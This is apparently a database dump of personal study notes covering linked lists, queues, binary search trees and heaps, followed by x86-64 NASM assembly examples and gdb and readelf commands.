node_after_deleted_node{current_node.next.next};\n current_node.reset(node_after_deleted_node);\n }\n}; code txt 2024-07-28 09:56:19.653373 0 +238 48 * Read: array O(1), linked list O(N)\n* Search: array O(N), linked list O(N)\n* Insert: array O(N) (O(1) at end), linked list O(N) (O(1) at end)\n* Delete: array O(N) (O(N) at beginning), linked list O(N) (O(1) at end) text txt 2024-07-28 09:56:19.674691 0 +239 49 A doubly linked list is like a list except that each node has two links, one that points to the next node, and another that points to the previous node.\nIn addition, the doubly linked list always keeps track of both the first and last node. text txt 2024-07-28 09:56:21.038851 0 +240 49 #include text txt 2024-07-28 09:56:21.058646 0 +241 49 template\nstruct Node\n{\n T data;\n std::shared_ptr next;\n std::shared_ptr previous; text txt 2024-07-28 09:56:21.078768 0 +242 49 explicit Node(T const& data): data{data}, next{} { }\n}; text txt 2024-07-28 09:56:21.099375 0 +243 49 class DoublyLinkedList\n{\n std::shared_ptr first_node;\n std::shared_ptr last_node;\n}; code txt 2024-07-28 09:56:21.119859 0 +244 49 Now we can insert and delete from the end of the list in `O(1)` as well. text txt 2024-07-28 09:56:21.141003 0 +245 49 #include text txt 2024-07-28 09:56:21.16198 0 +246 49 class DoublyLinkedList\n{\n std::shared_ptr first_node;\n std::shared_ptr last_node; text txt 2024-07-28 09:56:21.183047 0 +247 49 public:\n void insert_at_end(T value)\n {\n auto new_node{std::make_shared(value)}; text txt 2024-07-28 09:56:21.204324 0 +248 49 if (first_node)\n {\n new_node.previous.reset(last_node);\n last_node.next.reset(new_node);\n last_node.reset(new_node);\n }\n else\n {\n first_node.reset(new_node);\n last_node.reset(new_node);\n }\n } text txt 2024-07-28 09:56:21.225276 0 +249 49 std::shared_ptr> remove_from_front()\n {\n std::shared_ptr removed_node{first_node};\n first_node.reset(first_node.next);\n return removed_node;\n }\n}; code txt 2024-07-28 09:56:21.246338 0 +250 50 Because doubly linked lists have immediate access to both the front and end of the list, they can insert or delete on either side at `O(1)`.\nBecause doubly linked lists can insert data at the end in `O(1)` and delete data from the front in `O(1)` time, they make perfect underlying data structure for a queue. text txt 2024-07-28 09:56:22.004014 0 +251 50 template\nclass Queue\n{\n DoublyLinkedList data; text txt 2024-07-28 09:56:22.024723 0 +252 50 public:\n void enqueue(T value)\n {\n data.insert_at_end(value);\n } text txt 2024-07-28 09:56:22.047389 0 +253 50 void dequeue()\n {\n std::shared_ptr removed_node{data.remove_from_front()};\n return removed_node.value;\n } text txt 2024-07-28 09:56:22.067807 0 +254 50 T read()\n {\n if (data.first_node)\n return data.first_node.data;\n else\n return T{};\n }\n}; code txt 2024-07-28 09:56:22.089017 0 +255 51 A tree is a node-based data structure, but within a tree, each node can have links to multiple nodes. text txt 2024-07-28 09:56:22.314548 0 +256 52 * The upper most node is called **root**.\n* Node below the root are children to root.\n* The root is parent to second level nodes.\n* The last level of the tree is called the depth of the tree.\n* One property of a tree is how balanced it is. A tree is balanced when its nodes' subtrees have the same number of nodes in it. text txt 2024-07-28 09:56:22.570171 0 +257 53 A binary tree is a tree in which each node has zero, one, or two children.\nA binary search tree is a binary tree that also abides by the following rules: text txt 2024-07-28 09:56:23.243068 0 +258 53 1. Each node can have at most one left child and one right child.\n2. A node's left descendants can only contain values that are less than the node itself. Likewise, a node's right descendants can only contain values that are greater that the node itself. text txt 2024-07-28 09:56:23.264615 0 +259 53 template\nstruct TreeNode\n{\n T value;\n std::shared_ptr left;\n std::shared_ptr right; text txt 2024-07-28 09:56:23.286291 0 +260 53 public:\n explicit TreeNode(T value, std::shared_ptr left = nullptr, std::shared_ptr right = nullptr): left{left}, right{right} { }\n}; text txt 2024-07-28 09:56:23.307384 0 +261 53 int main()\n{\n auto node1 = std::make_shared(25);\n auto node2 = std::make_shared(75);\n auto root = std::make_shared(50, node1, node2);\n} code txt 2024-07-28 09:56:23.328326 0 +262 54 1. Designate a node to be the current node, aka. the root node.\n2. Inspect the value at the current node.\n3. If we have found the value we are looking for, stop.\n4. If the value we are looking for is less than the current node, search for it in its left subtree.\n5. If the value we are looking for is greater than the current node, search for it in its right subtree.\n6. Repeat steps 1 through 5 until we find the value we are searching for, or until we hit the bottom of the tree, in which case our value must not be in the tree. text txt 2024-07-28 09:56:23.87164 0 +263 54 Searching a binary search tree takes `O(long N)`. text txt 2024-07-28 09:56:23.891599 0 +264 54 std::shared_ptr search(T value, std::shared_ptr node)\n{\n if (node == nullptr || node->value == value)\n return node;\n else if (value < node->value)\n return search(value, node->left);\n else\n return search(value, node->right);\n} code txt 2024-07-28 09:56:23.912764 0 +265 55 First, we have to find the correct node to attach the new value.\nInsertion takes `O(log N)`. text txt 2024-07-28 09:56:24.386497 0 +266 55 def insert(value, node)\n if value < node.value\n if node.left == nil\n node.left = TreeNode{value}\n else\n insert(value, node.left)\n elif value > node.value\n if node.right == nill\n node.right = Node{value}\n else\n insert(value, node.right) code txt 2024-07-28 09:56:24.40754 0 +267 56 * If the node being deleted has no children, simply delete it.\n* If the node being deleted has one child, delete the node and plug the child into the spot where the deleted node was.\n* When deleting a node with two children, replace the deleted node with the successor node. The successor node is the child node whose value is the least of all values that are greater than the deleted node. text txt 2024-07-28 09:56:24.641394 0 +268 57 Visit the right child of the deleted value and then keep on visiting the left child of each subsequent child until there are no more left children.\nThe bottom value is the successor node. text txt 2024-07-28 09:56:26.267508 0 +269 57 ```\n 50\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 25 75\n / \\\\ / \\\\\n 11 33 61 89\n / \\\\ / / \\\\\n 30 40 (52) 82 95\n`````` text txt 2024-07-28 09:56:26.287955 0 +270 57 If the successor node has a right child, after plugging the successor node into the spot of the deleted node,\ntake the former right child of the successor node and turn it into the left child of the former parent of the successor node. text txt 2024-07-28 09:56:26.31 0 +271 57 ```\n X\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 25 75\n / \\\\ / \\\\\n 11 33 61 89\n / \\\\ / / \\\\\n 30 40 (52) 82 95\n \\\\\n 55 text txt 2024-07-28 09:56:26.330833 0 +272 57 52\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 25 75\n / \\\\ / \\\\\n 11 33 61 89\n / \\\\ / / \\\\\n 30 40 55 82 95\n`````` text txt 2024-07-28 09:56:26.351997 0 +273 57 def delete(valueToDelete, node):\n if node is None:\n return None\n elif valueToDelete < node.value:\n node.leftChild = delete(valueToDelete, node.leftChild)\n return node\n elif valueToDelete > node.value:\n node.rightChild = delete(valueToDelete, node.rightChild)\n return node\n elif valueToDelete == node.value:\n if node.leftChild is None:\n return node.rightChild\n elif node.rightChild is None:\n return node.leftChild\n else:\n node.rightChild = lift(node.rightChild, node)\n return node text txt 2024-07-28 09:56:26.375077 0 +274 57 def lift(node, nodeToDelete):\n if node.leftChild:\n node.leftChild = lift(node.leftChild, nodeToDelete)\n return node\n else:\n nodeToDelete.value = node.value\n return node.rightChild code txt 2024-07-28 09:56:26.396007 0 +275 58 1. Call itself recursively on the node's left child. The function will keep getting called until we hit a node that does not have a left child.\n2. Visit a node.\n3. Call itself recursively on the node's right child. The function will keep getting called until we hit a node that does not have a right child. text txt 2024-07-28 09:56:26.819591 0 +276 58 def traverse_and_print(node):\n if node is None:\n return text txt 2024-07-28 09:56:26.840937 0 +277 58 traverse_and_print(node.left)\n print(node.value)\n traverse_and_print(node.right) code txt 2024-07-28 09:56:26.862687 0 +278 59 A priority queue is a list whose deletions and access are just like a classic queue, but insertions are like an ordered array. text txt 2024-07-28 09:56:27.067217 0 +279 60 Array-based priority queues have deletions that are `O(1)` and insertions that are `O(N)`.\nThe `O(N)` insertions may cause some real unwanted drags to applications.\nHeap data structures serve as a more efficient foundation for the priority queue. text txt 2024-07-28 09:56:27.270518 0 +280 61 The binary heap is a specific kind of binary tree.\nThe binary heaps come in two flavors: the binary max-heap, and the binary min-heap. text txt 2024-07-28 09:56:27.465973 0 +281 62 * The value of each node must be greater than each of its descendant nodes. This rule is known as the heap condition.\n* The tree must be complete. text txt 2024-07-28 09:56:27.694725 0 +282 63 The heap requires that each nodes' value must be greater than each and every descendants. text txt 2024-07-28 09:56:28.231559 0 +283 63 ```\n 100\n / \\\\\n / \\\\\n 88 25\n / \\\\ / \\\\\n87 16 8 12\n`````` text txt 2024-07-28 09:56:28.252002 0 +284 63 The following tree isn't a valid heap, because it doesn't meet the heap condition. text txt 2024-07-28 09:56:28.27162 0 +285 63 ```\n 100\n / \\\\\n / \\\\\n 88 25\n / \\\\ / \\\\\n87 (92) 8 12\n`````` text txt 2024-07-28 09:56:28.293055 0 +286 64 A complete tree is a tree that is completely filled with nodes.\nSo if you read each level of the tree from left to right, all the nodes are there.\nHowever, the bottom row can have empty positions, as long as aren't any nodes to the right of these empty positions. text txt 2024-07-28 09:56:28.760323 0 +287 64 ```\n 100\n / \\\\\n / \\\\\n / \\\\\n / \\\\\n 88 25\n / \\\\ / \\\\\n / \\\\ / \\\\\n 87 16 8 12\n / \\\\ / \\\\ / \\\\\n86 50 2 15 3 (X)\n`````` text txt 2024-07-28 09:56:28.781865 0 +288 65 section .data\n message db "sample assembly program", 10, 0\n length equ $ - message text txt 2024-07-28 09:56:29.787746 0 +289 65 section .bss\nsection .text\n global main text txt 2024-07-28 09:56:29.807597 0 +290 65 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:29.827696 0 +291 65 mov rax, 1\n mov rdi, 1\n mov rsi, message\n mov rdx, length\n syscall text txt 2024-07-28 09:56:29.847856 0 +292 65 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:29.867702 0 +293 65 mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:29.888794 0 +294 65 sample: sample.o\n gcc -Wall -g3 -Og -no-pie sample.o -o sample\nsample.o: sample.asm\n nasm -f elf64 -g -F dwarf sample.asm -l sample.lst code txt 2024-07-28 09:56:29.908607 0 +295 66 section .data\nsection .bss\nsection .text\n global main text txt 2024-07-28 09:56:30.308377 0 +296 66 main:\n mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:30.328464 0 +297 68 * rax\n* rbx\n* rcx\n* rdx\n* rsi\n* rdi\n* rbp\n* rsp\n* r8\n* r9\n* r10\n* r11\n* r12\n* r13\n* r14\n* r15 text txt 2024-07-28 09:56:31.032986 0 +298 69 `rip` text txt 2024-07-28 09:56:31.250051 0 +299 70 Name|Symbol|Bit|Content\n---|---|---|---\nCarry|CF|0|Previous instruction had a carry\nParityp|F|2|Last byte has even number of 1s\nAdjust|AF|4|BCD operations\nZero|ZF|6|Previous instruction resulted a zero\nSign|SF|8|Previous instruction resulted in most significant bit equal to 1\nDirection|DF|10|Direction of string operations (increment or decrement)\nOverflow|OF|11|Previous instruction resulted in overflow text txt 2024-07-28 09:56:31.607359 0 +300 71 `xmm`\n`ymm`\n`zmm` text txt 2024-07-28 09:56:31.831817 0 +301 72 gdb --quiet executable code txt 2024-07-28 09:56:32.10828 0 +302 73 list\nlist 10\n`help list` or `h l` code txt 2024-07-28 09:56:32.371265 0 +303 74 show listsize\nset listsize 20 code txt 2024-07-28 09:56:32.645042 0 +304 75 show disassembly-flavor\nset disassembly-flavor intel\nset disassembly-flavor att\nhelp set disassembly-flavor code txt 2024-07-28 09:56:32.948217 0 +305 76 echo 'set disassembly-flavor intel' >> $HOME/.gdbinit code txt 2024-07-28 09:56:33.173535 0 +306 77 disassemble main\ndisassemble 'path/to/source.cpp'::func\nhelp disassemble code txt 2024-07-28 09:56:33.454157 0 +307 78 x/s 0x654321\nx/s &message\nx/d 0x654321\nx/x $rip\nhelp x code txt 2024-07-28 09:56:33.795315 0 +308 79 break main\nhelp break code txt 2024-07-28 09:56:34.037138 0 +309 80 run\nhelp run code txt 2024-07-28 09:56:34.315654 0 +310 81 info registers\ninfo all-registers\nhelp info registers\nhelp info all-registers code txt 2024-07-28 09:56:34.628517 0 +311 82 info breakpoints\ninfo stack\ninfo threads\ninfo source\nhelp info breakpoints\nhelp info stack\nhelp info threads\nhelp info source code txt 2024-07-28 09:56:35.010559 0 +312 83 disable breakpoint 1\nenable breakpoint 1\ndelete breakpoint 1\nhelp disable breakpoint\nhelp enable breakpoint\nhelp delete breakpoint code txt 2024-07-28 09:56:35.369029 0 +313 84 continue\nnext\nstep\nhelp continue\nhelp next\nhelp step\nhelp finish code txt 2024-07-28 09:56:35.753915 0 +314 85 print\nhelp print code txt 2024-07-28 09:56:35.987283 0 +315 86 tui enable\nhelp tui code txt 2024-07-28 09:56:36.275577 0 +316 87 section .data\n message db "sample program", 10, 0\n message_length equ $ - message - 1\n pi dq 3.14 text txt 2024-07-28 09:56:37.091007 0 +317 87 section .text\n global main text txt 2024-07-28 09:56:37.112478 0 +318 87 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:37.133733 0 +469 108 mov rax, rdi\n sub rax, rsi text txt 2024-07-28 09:56:57.970937 0 +319 87 ; write\n mov rax, 1\n mov rdi, 1\n mov rsi, message\n mov rdx, message_length\n syscall text txt 2024-07-28 09:56:37.156221 0 +320 87 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:37.176443 0 +321 87 ; exit\n mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:37.198951 0 +322 88 extern printf text txt 2024-07-28 09:56:38.31386 0 +323 88 section .data\n string_fmtstr db "%s", 10, 0\n string db "sample program", 0 text txt 2024-07-28 09:56:38.3351 0 +324 88 integer_fmtstr db "%d", 10, 0\n number dd 37 text txt 2024-07-28 09:56:38.354787 0 +325 88 float_fmtstr db "%2.6f", 10, 0\n pi dq 3.141592 text txt 2024-07-28 09:56:38.375973 0 +326 88 section .text\n global main text txt 2024-07-28 09:56:38.396606 0 +327 88 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:38.418678 0 +328 88 ; printf\n mov rax, 0 ; do not use xmm registers\n mov rdi, string_fmtstr\n mov rsi, string\n call printf text txt 2024-07-28 09:56:38.441513 0 +329 88 ; printf\n mov rax, 0 ; do not use xmm registers\n mov rdi, integer_fmtstr\n mov rsi, [number]\n call printf text txt 2024-07-28 09:56:38.464177 0 +330 88 ; printf\n mov rax, 1 ; use xmm registers\n movq xmm0, [pi]\n mov rdi, float_fmtstr\n call printf text txt 2024-07-28 09:56:38.485499 0 +331 88 ; exit\n mov rax, 60\n mov rdi, 0\n syscall code txt 2024-07-28 09:56:38.505889 0 +332 89 section .text\n global main text txt 2024-07-28 09:56:38.847847 0 +333 89 main:\n ret code txt 2024-07-28 09:56:38.868587 0 +334 90 * je: jump if equal\n* jne: jump if not equal\n* jg: jump if greater\n* jge: jump if greater or equal\n* jl: jump if lower\n* jle: jump if lower or equal\n* ja: jump if above\n* jae: jump if above or equal\n* jb: jump if below\n* jbe: jump if below or equal text txt 2024-07-28 09:56:40.225601 0 +335 90 extern printf text txt 2024-07-28 09:56:40.245746 0 +336 90 section .data\nnumerator dq 5\ndenominator dq 6\ngreater_str db "greater", 10, 0\nless_str db "less", 10, 0 text txt 2024-07-28 09:56:40.266512 0 +337 90 section .text\nglobal main text txt 2024-07-28 09:56:40.286881 0 +338 90 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:40.3074 0 +339 90 mov rax, [numerator]\nmov rbx, [denominator]\ncmp rax, rbx\njge greater text txt 2024-07-28 09:56:40.328384 0 +340 90 mov rax, 0\nmov rdi, greater_str\ncall printf\njmp exit text txt 2024-07-28 09:56:40.350458 0 +341 90 greater:\nmov rax, 0\nmov rdi, less_str\ncall printf text txt 2024-07-28 09:56:40.371121 0 +342 90 exit:\nxor rax, rax\nmov rsp, rbp\npop rbp\nret code txt 2024-07-28 09:56:40.393063 0 +343 90 break main\nrun\nnext\ninfo rflags code txt 2024-07-28 09:56:40.41394 0 +344 91 extern printf text txt 2024-07-28 09:56:41.484824 0 +345 91 section .data\ncounter dq 3\nfmt db "%d", 10, 0 text txt 2024-07-28 09:56:41.505431 0 +346 91 section .text\nglobal main text txt 2024-07-28 09:56:41.527189 0 +347 91 main:\n; make stack frame\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:41.548296 0 +348 91 ; store initial value\nmov rcx, [counter] text txt 2024-07-28 09:56:41.568994 0 +349 91 ; print initial value\nmov rax, 0\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:41.589405 0 +350 91 repeat:\n; repeat decrementing until value reached zero\ndec rcx\ncmp rcx, 0\njne repeat text txt 2024-07-28 09:56:41.609294 0 +351 91 ; print result\nmov rax, 0\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:41.629991 0 +352 91 ; remove stack frame\nmov rsp, rbp\npop rbp text txt 2024-07-28 09:56:41.650871 0 +353 91 ; return zero value\nxor rax, rax\nret code txt 2024-07-28 09:56:41.671578 0 +354 92 extern printf text txt 2024-07-28 09:56:42.831396 0 +355 92 section .data\nfmt db "%i", 10, 0\ninitial dq 3 text txt 2024-07-28 09:56:42.852723 0 +356 92 section .text\nglobal main text txt 2024-07-28 09:56:42.874395 0 +357 92 main:\n; make stack frame\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:42.894534 0 +358 92 ; assign initial value\nmov rcx, [initial] text txt 2024-07-28 09:56:42.914831 0 +359 92 ; print initial value\nxor rax, rax\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:42.937096 0 +360 92 ; printf modified rcx\nmov rcx, [initial] text txt 2024-07-28 09:56:42.958305 0 +361 92 repeat:\n; decrement rcx until reached zero\nloop repeat text txt 2024-07-28 09:56:42.978694 0 +362 92 ; print result\nxor rax, rax\nmov rdi, fmt\nmov rsi, rcx\ncall printf text txt 2024-07-28 09:56:42.999398 0 +363 92 ; remove stack frame\nmov rsp, rbp\npop rbp text txt 2024-07-28 09:56:43.021789 0 +364 92 ; return value\nxor rax, rax\nxor rdi, rdi\nret code txt 2024-07-28 09:56:43.043916 0 +365 93 section .data\n word_array times 5 dw 0 ; array of 5 words containing 0 code txt 2024-07-28 09:56:43.305327 0 +366 94 section .bss\n bvar resb 10\n wvar resw 5\n dvar resd 1\n qvar resq 100 code txt 2024-07-28 09:56:43.687924 0 +367 95 section .data\n text db "abc", 0 text txt 2024-07-28 09:56:44.44815 0 +368 95 section .text\n global main text txt 2024-07-28 09:56:44.468619 0 +369 95 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:44.49003 0 +370 95 ; load address of first character\n lea al, [text] text txt 2024-07-28 09:56:44.511444 0 +371 95 ; point of second character\n inc rax text txt 2024-07-28 09:56:44.53212 0 +372 95 ; load address of third character\n lea al, [text + 2] text txt 2024-07-28 09:56:44.553441 0 +373 95 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:44.574616 0 +374 95 xor rax, rax\n ret code txt 2024-07-28 09:56:44.597825 0 +375 96 readelf --file-header ./program code txt 2024-07-28 09:56:44.827889 0 +376 97 readelf --symbols ./program | grep -E 'main|start|Num:.*' --color code txt 2024-07-28 09:56:45.076369 0 +377 98 readelf --symbols ./program | sort -k 2 -r code txt 2024-07-28 09:56:45.322318 0 +378 99 * `mul` multiplies unsigned integers\n* `imul` multiplies signed integers\n* `imul` will store the lower 64 bits of the resulting product in rax and the upper 64 bits in rdx.\n* `idiv` will divide the dividen in rdx:rax by the divisor in the source operand and store the integer result in rax. text txt 2024-07-28 09:56:46.900432 0 +379 99 section .data\n number1 dq 36\n number2 dq 3 text txt 2024-07-28 09:56:46.921863 0 +380 99 section .bss\n result resq 1\n modulo resq 1 text txt 2024-07-28 09:56:46.942022 0 +381 99 section .text\n global main text txt 2024-07-28 09:56:46.963612 0 +382 99 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:46.984971 0 +383 99 ; addition\n mov rax, [number1]\n add rax, [number2]\n mov [result], rax ; 39 text txt 2024-07-28 09:56:47.006581 0 +384 99 ; subtration\n mov rax, [number1]\n sub rax, [number2]\n mov [result], rax ; 33 text txt 2024-07-28 09:56:47.027491 0 +385 99 ; increment\n mov rax, [number1]\n inc rax\n mov [result], rax text txt 2024-07-28 09:56:47.049484 0 +386 99 ; shift arithmetic left\n mov rax, [number1]\n sal rax, 2 ; multiply by 4\n mov [result], rax text txt 2024-07-28 09:56:47.070787 0 +387 99 ; shift arithmetic right\n mov rax, [number1]\n sar rax, 2 ; divide by 4\n mov [result], rax text txt 2024-07-28 09:56:47.092007 0 +388 99 ; multiply\n mov rax, [number2]\n imul qword[number2] ; multiplly rax with number2\n mov [result], rax text txt 2024-07-28 09:56:47.11341 0 +1256 251 return NULL;\n} text txt 2024-07-28 09:58:53.549881 0 +389 99 ; divide\n mov rax, [number1]\n mov rdx, 0 ; division uses rdx:rax convention\n idiv qword[number2]\n mov [result], rax\n mov [modulo], rdx text txt 2024-07-28 09:56:47.134376 0 +390 99 mov rsp, rbp\n pop rbp text txt 2024-07-28 09:56:47.15521 0 +391 99 xor rax, rax\n ret code txt 2024-07-28 09:56:47.175524 0 +392 100 section .data\ntext db "Brian Salehi", 10, 0\nlength equ $ - text - 1 text txt 2024-07-28 09:56:48.571587 0 +393 100 section .text\nglobal main text txt 2024-07-28 09:56:48.591914 0 +394 100 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:48.613074 0 +395 100 ; print initial sequence\nmov rax, 1\nmov rdi, 1\nmov rsi, text\nmov rdx, length\nsyscall text txt 2024-07-28 09:56:48.634385 0 +396 100 ; prepare for reverse operation\nxor rax, rax\nmov rbx, text\nmov rcx, length\nxor r12, r12 ; to store index text txt 2024-07-28 09:56:48.655165 0 +397 100 store_loop:\n; push sequence to stack\nmov al, byte [rbx+r12]\npush rax\ninc r12\nloop store_loop text txt 2024-07-28 09:56:48.676096 0 +398 100 xor rax, rax\nmov rbx, text\nmov rcx, length\nxor r12, r12 text txt 2024-07-28 09:56:48.697615 0 +399 100 reverse_loop:\n; pop sequence from stack\npop rax\nmov byte [rbx+r12], al\ninc r12\nloop reverse_loop\nmov byte [rbx+r12], 0 text txt 2024-07-28 09:56:48.718646 0 +400 100 ; print reversed string\nmov rax, 1\nmov rdi, 1\nmov rsi, text\nmov rdx, length\nsyscall text txt 2024-07-28 09:56:48.739526 0 +401 100 mov rsp, rbp\npop rbp text txt 2024-07-28 09:56:48.762305 0 +402 100 xor rax, rax\nret code txt 2024-07-28 09:56:48.785413 0 +403 101 * A single-precision number is 32 bits, 1 sign bit, 8 exponent bits, and 23 fraction bits. text txt 2024-07-28 09:56:49.199568 0 +404 101 S EEEEEEEE FFFFFFFFFFFFFFFFFFFFFFF\n0 1 8 9 31 code txt 2024-07-28 09:56:49.220333 0 +405 101 * A double-precision number is 64 bits, 1 sign bit, 11 exponent bits, and 52 fraction bits. text txt 2024-07-28 09:56:49.240998 0 +406 101 ```\nS EEEEEEEEEEE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n0 1 11 12 63\n``` text txt 2024-07-28 09:56:49.260629 0 +407 102 * Single precision floating point arithmetic instructions are postfixed with ss\n* Double precision floating point arithmetic instructions are postfixed with sd text txt 2024-07-28 09:56:50.46432 0 +408 102 extern printf text txt 2024-07-28 09:56:50.48458 0 +409 102 section .data\nnumber1 dq 9.0\nnumber2 dq 73.0\nfmt db "%f %f", 10, 0 text txt 2024-07-28 09:56:50.5077 0 +410 102 section .text\nglobal main text txt 2024-07-28 09:56:50.528223 0 +411 102 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:50.548803 0 +412 102 ; print floating-point numbers\nmovsd xmm0, [number1]\nmovsd xmm1, [number2]\nmov rax, 2 ; two floats\nmov rdi, fmt\ncall printf text txt 2024-07-28 09:56:50.569775 0 +413 102 ; sum floating-point numbers\nmovsd xmm0, [number1]\naddsd xmm0, [number2] text txt 2024-07-28 09:56:50.591878 0 +414 102 ; difference\nmovsd xmm0, [number1]\nsubsd xmm0, [number2] text txt 2024-07-28 09:56:50.612488 0 +415 102 ; multiplication\nmovsd xmm0, [number1]\nmulsd xmm0, [number2] text txt 2024-07-28 09:56:50.633856 0 +416 102 ; division\nmovsd xmm0, [number1]\ndivsd xmm0, [number2] text txt 2024-07-28 09:56:50.654436 0 +417 102 ; square root\nsqrtsd xmm0, [number1] text txt 2024-07-28 09:56:50.675058 0 +418 102 mov rsp, rbp\npop rbp text txt 2024-07-28 09:56:50.695756 0 +419 102 xor rax, rax\nret code txt 2024-07-28 09:56:50.717081 0 +420 103 section .text\n global main text txt 2024-07-28 09:56:51.15513 0 +421 103 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:51.17673 0 +422 103 leave\n ret code txt 2024-07-28 09:56:51.197979 0 +423 104 section .data\n radius dq 10.0\n pi dq 3.14 text txt 2024-07-28 09:56:52.025799 0 +424 104 section .text\n global main text txt 2024-07-28 09:56:52.04843 0 +425 104 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:52.069826 0 +426 104 call area\n movsd xmm1, [radius] text txt 2024-07-28 09:56:52.092517 0 +427 104 xor rax, rax\n leave\n ret text txt 2024-07-28 09:56:52.11346 0 +428 104 area:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:52.13425 0 +429 104 movsd xmm0, [radius]\n mulsd xmm0, [radius]\n mulsd xmm0, [pi] text txt 2024-07-28 09:56:52.155045 0 +430 104 xor rax, rax\n leave\n ret code txt 2024-07-28 09:56:52.177184 0 +431 105 * Use `xmm0` register for floating-point values and `rax` register for other values. text txt 2024-07-28 09:56:53.172067 0 +432 105 section .data\nval dq 0 text txt 2024-07-28 09:56:53.192852 0 +433 105 section .text\nglobal main text txt 2024-07-28 09:56:53.213007 0 +434 105 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:53.234107 0 +435 105 call fail_func\nxor rax, rax text txt 2024-07-28 09:56:53.254739 0 +436 105 call success_func\nxor rax, rax text txt 2024-07-28 09:56:53.274838 0 +437 105 leave\nret text txt 2024-07-28 09:56:53.295495 0 +438 105 fail_func:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:53.317273 0 +439 105 mov rax, 1 text txt 2024-07-28 09:56:53.337053 0 +440 105 leave\nret text txt 2024-07-28 09:56:53.358708 0 +441 105 success_func:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:53.380616 0 +442 105 mov rax, 0 text txt 2024-07-28 09:56:53.400592 0 +443 105 leave\nret code txt 2024-07-28 09:56:53.420496 0 +444 106 extern printf text txt 2024-07-28 09:56:54.584879 0 +445 106 section .data\nradius dq 10.0 text txt 2024-07-28 09:56:54.60492 0 +446 106 section .text\nglobal main text txt 2024-07-28 09:56:54.625932 0 +447 106 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:54.64626 0 +448 106 call area\ncall print text txt 2024-07-28 09:56:54.667271 0 +449 106 xor rax, rax\nleave\nret text txt 2024-07-28 09:56:54.687486 0 +450 106 area:\nsection .data\n.pi dq 3.141592 ; local to area text txt 2024-07-28 09:56:54.70835 0 +451 106 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:54.728761 0 +452 106 movsd xmm0, [.pi]\nmulsd xmm0, [radius]\nmulsd xmm0, [radius] text txt 2024-07-28 09:56:54.749234 0 +453 106 leave\nret text txt 2024-07-28 09:56:54.770418 0 +454 106 print:\nsection .data\n.fmt db "%f", 10, 0 text txt 2024-07-28 09:56:54.791547 0 +455 106 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:54.812417 0 +456 106 mov rax, 1\nmov rdi, .fmt\ncall printf text txt 2024-07-28 09:56:54.834063 0 +457 106 leave\nret code txt 2024-07-28 09:56:54.854308 0 +458 107 * Each function call results in 8 bytes return address being pushed on the stack.\n* It is necessary to make sure to restore the stack to the appropriate value before we leave a function. text txt 2024-07-28 09:56:55.619827 0 +459 107 section .text\nglobal main text txt 2024-07-28 09:56:55.640797 0 +460 107 main:\npush rbp\ncall func1\npop rbp\nret text txt 2024-07-28 09:56:55.66134 0 +461 107 func1:\npush rbp\ncall func2\npop rbp\nret text txt 2024-07-28 09:56:55.68259 0 +462 107 func2:\npush rbp\ncall func3\npop rbp\nret text txt 2024-07-28 09:56:55.703164 0 +463 107 func3:\npush rbp\npop rbp\nret code txt 2024-07-28 09:56:55.723546 0 +464 108 *arithmetic.asm*\nsection .text\n global sum\n global difference\n global area text txt 2024-07-28 09:56:57.862508 0 +465 108 sum:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:57.883475 0 +466 108 mov rax, rdi\n add rax, rsi text txt 2024-07-28 09:56:57.909233 0 +470 108 mov rsp, rbp\n pop rbp\n ret text txt 2024-07-28 09:56:57.991078 0 +471 108 area:\n section .data\n .pi dq 3.141592 text txt 2024-07-28 09:56:58.011842 0 +472 108 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:58.032806 0 +473 108 movsd xmm1, qword[.pi]\n mulsd xmm0, xmm0\n mulsd xmm0, xmm1 text txt 2024-07-28 09:56:58.053446 0 +474 108 mov rsp, rbp\n pop rbp\n ret code txt 2024-07-28 09:56:58.073464 0 +475 108 *main.asm*\nextern sum\nextern difference\nextern area text txt 2024-07-28 09:56:58.094371 0 +476 108 section .data\n format_integral db "%i", 10, 0\n format_floating db "%f", 10, 0 text txt 2024-07-28 09:56:58.116294 0 +477 108 section .text\n global main text txt 2024-07-28 09:56:58.137229 0 +478 108 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:58.1581 0 +479 108 ; use and print the results of sum function\n mov rdi, 1\n mov rsi, 3\n call sum text txt 2024-07-28 09:56:58.178769 0 +480 108 mov rdi, format_integral\n mov rsi, rax\n xor rax, rax\n call printf text txt 2024-07-28 09:56:58.200808 0 +481 108 ; use and print the results of difference 